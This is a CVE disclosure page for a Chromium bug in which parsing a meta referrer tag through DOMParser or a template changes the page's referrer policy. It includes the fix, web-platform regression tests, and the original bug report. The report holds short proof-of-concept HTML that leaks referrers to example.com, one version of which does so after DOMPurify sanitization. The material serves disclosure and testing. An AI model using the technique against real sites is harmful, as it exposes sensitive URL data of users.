CVE-2026-79185
Overview
Files Changed
third_party/blink/renderer/core/html/html_meta_element.ccthird_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
Patch
From c82c0056dc30f7178f3b0953e3da0bcc0c7904df Mon Sep 17 00:00:00 2001 From: Noam Rosenthal <[email protected]> Date: Mon, 20 Jul 2026 08:59:41 -0700 Subject: [PATCH] <meta referrer> should only apply when document is active Note that referrer is a bit quirky, see the note in the spec: https://html.spec.whatwg.org/multipage/semantics.html#meta-referrer This quirks makes it so that the ExecutionContext is updated directly instead of the document, which is what other meta types do. Bug: 536526176 Change-Id: I38947b9849544e5b5f6fbf98250d319028d633ef Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8125036 Reviewed-by: Daniel Vogelheim <[email protected]> Commit-Queue: Noam Rosenthal <[email protected]> Cr-Commit-Position: refs/heads/main@{#1664718} --- diff --git a/third_party/blink/renderer/core/html/html_meta_element.cc b/third_party/blink/renderer/core/html/html_meta_element.cc index 51c154a3..1654a99 100644 --- a/third_party/blink/renderer/core/html/html_meta_element.cc +++ b/third_party/blink/renderer/core/html/html_meta_element.cc @@ -727,7 +727,7 @@ ProcessViewportContentAttribute(content_value, ViewportDescription::kViewportMeta); } else if (EqualIgnoringAsciiCase(name_value, "referrer") && - GetExecutionContext()) { + GetExecutionContext() && GetDocument().IsActive()) { UseCounter::Count(&GetDocument(), WebFeature::kHTMLMetaElementReferrerPolicy); if (!IsDescendantOf(GetDocument().head())) { diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html new file mode 100644 index 0000000..e46a1c3 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html @@ -0,0 +1,60 @@ +<!DOCTYPE html> +<html> +<head> + <meta name="referrer" content="no-referrer"> + <script src="/resources/testharness.js"></script> + <script src="/resources/testharnessreport.js"></script> +</head> +<body> + <script> + async function fetchAndGetReferrer() { + let response = await fetch('/common/security-features/subresource/xhr.py'); + let data = await response.json(); + return data.headers.referer; + } + + promise_test(async t => { + // 1. Initial fetch should not leak referrer. + let referrerBefore = await fetchAndGetReferrer(); + assert_equals(referrerBefore, undefined, 'Initial referrer should be empty'); + + // 2. Parse a meta tag that would change referrer policy to unsafe-url. + new DOMParser().parseFromString( + '<meta name="referrer" content="unsafe-url">', + 'text/html' + ); + + // 3. Second fetch should still not leak referrer. + let referrerAfter = await fetchAndGetReferrer(); + assert_equals(referrerAfter, undefined, 'Referrer should still be empty'); + }, "DOMParser().parseFromString should not affect creator document's referrer policy"); + + promise_test(async t => { + // 1. Initial fetch should not leak referrer. + let referrerBefore = await fetchAndGetReferrer(); + assert_equals(referrerBefore, undefined, 'Initial referrer should be empty'); + + // 2. Parse a template tag containing a meta referrer. + let div = document.createElement('div'); + div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>'; + + // 3. Second fetch should still not leak referrer. + let referrerAfter = await fetchAndGetReferrer(); + assert_equals(referrerAfter, undefined, 'Referrer should still be empty'); + }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy"); + + promise_test(async t => { + // 1. Initial fetch should not leak referrer. + let referrerBefore = await fetchAndGetReferrer(); + assert_equals(referrerBefore, undefined, 'Initial referrer should be empty'); + + // 2. Parse a meta tag that would change referrer policy to unsafe-url. + Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">'); + + // 3. Second fetch should still not leak referrer. + let referrerAfter = await fetchAndGetReferrer(); + assert_equals(referrerAfter, undefined, 'Referrer should still be empty'); + }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy"); + </script> +</body> +</html>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
new file mode 100644
index 0000000..e46a1c3
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/referrer-policy/generic/meta-referrer-domparser.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <meta name="referrer" content="no-referrer">
+ <script src="/resources/testharness.js"></script>
+ <script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+ <script>
+ async function fetchAndGetReferrer() {
+ let response = await fetch('/common/security-features/subresource/xhr.py');
+ let data = await response.json();
+ return data.headers.referer;
+ }
+
+ promise_test(async t => {
+ // 1. Initial fetch should not leak referrer.
+ let referrerBefore = await fetchAndGetReferrer();
+ assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+ // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+ new DOMParser().parseFromString(
+ '<meta name="referrer" content="unsafe-url">',
+ 'text/html'
+ );
+
+ // 3. Second fetch should still not leak referrer.
+ let referrerAfter = await fetchAndGetReferrer();
+ assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+ }, "DOMParser().parseFromString should not affect creator document's referrer policy");
+
+ promise_test(async t => {
+ // 1. Initial fetch should not leak referrer.
+ let referrerBefore = await fetchAndGetReferrer();
+ assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+ // 2. Parse a template tag containing a meta referrer.
+ let div = document.createElement('div');
+ div.innerHTML = '<template><meta name="referrer" content="unsafe-url"></template>';
+
+ // 3. Second fetch should still not leak referrer.
+ let referrerAfter = await fetchAndGetReferrer();
+ assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+ }, "Parsing <meta name='referrer'> inside <template> should not affect creator document's referrer policy");
+
+ promise_test(async t => {
+ // 1. Initial fetch should not leak referrer.
+ let referrerBefore = await fetchAndGetReferrer();
+ assert_equals(referrerBefore, undefined, 'Initial referrer should be empty');
+
+ // 2. Parse a meta tag that would change referrer policy to unsafe-url.
+ Document.parseHTMLUnsafe('<meta name="referrer" content="unsafe-url">');
+
+ // 3. Second fetch should still not leak referrer.
+ let referrerAfter = await fetchAndGetReferrer();
+ assert_equals(referrerAfter, undefined, 'Referrer should still be empty');
+ }, "Document.parseHTMLUnsafe() should not affect creator document's referrer policy");
+ </script>
+</body>
+</html>
Original Bug Report
DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents
Report description
DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Description
The DOMParser().parseFromString(string, "text/html") is supposed to be an inert parser for HTML content. Security libraries like DOMPurify relies on it to parse untrusted HTML, and expects it to be inert (in terms of affecting the calling context/window).
However, <meta name="referrer"> is for some reason applied to the current context while parsing, and it can override the current documents policy too:
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<script>
fetch('https://example.com'); // does not leak any referrer, as expected
new DOMParser().parseFromString(
`<meta name="referrer" content="unsafe-url">`,
"text/html"
);
fetch('https://example.com'); // does leak referrer
</script>
</body>
</html>
Changing referrer policy in a document can lead to security issues where sensitive content is in the current path/query/fragment. Furthermore, due to DOMPurify’s usage of it, this example also unexpectedly leaks (even though the meta tag is correctly removed by DOMPurify):
<html>
<head>
<meta name="referrer" content="no-referrer">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
</head>
<body>
<script>
// leaks referrer in the request to example.com
setTimeout(function(){
document.documentElement.innerHTML=DOMPurify.sanitize('<meta name="referrer" content="unsafe-url"><img src="https://example.com/leak2"/>')
}, 1000);
</script>
</body>
</html>
Impact analysis
Expected inert DOMParser().parseFromString(string, "text/html") can affect the calling contexts referer policy via <meta name="referrer">.
The cause
What version of Chrome have you found the security issue in?
150.0.7871.124 (Official Build) snap (64-bit)
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Information Leak
How would you like to be publicly acknowledged for your report?
avlidienbrunn